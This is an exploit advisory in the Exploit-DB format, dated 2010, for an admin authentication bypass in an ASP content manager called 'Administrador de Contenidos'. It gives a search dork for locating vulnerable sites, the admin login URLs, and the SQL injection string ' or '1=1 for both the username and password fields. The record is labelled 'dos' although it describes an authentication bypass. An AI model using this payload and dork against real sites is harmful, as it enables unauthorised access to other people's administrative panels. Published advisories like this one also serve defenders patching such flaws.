Administrador de Contenidos - Admin Authentication Bypass

EDB-ID:

12527

CVE:

N/A

Author:

Ra3cH

Type:

dos

Platform:

ASP

Published:

2010-05-07

************************************************************

**      Administrador de Contenidos  Admin Login Bypass vulnerability

************************************************************

**  Prodcut:        Administrador de Contenidos   

**  Home   :         www.DZ4All.cOm/Cc

**  Vunlerability :        Admin Bypass

**  Risk  :        High

**  Dork :         "Diseño Web Hernest Consulting S.L."

************************************************************

** Discovred by:    Ra3cH

** From           :    Algeria

** Contact     :     e51@hotmail.fr

** *********************************************************

** Greetz to :     ALLAH 

**         All Members of  http://www.DZ4All.cOm/Cc

**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen 

************************************************************

**  Exploit:

**  http://[PATH]/admin    or     http://[PATH]/admin/Login.Asp

**

**  user :         ' or '1=1      

**  password :     ' or '1=1   

**  

************************************************************

************************************************************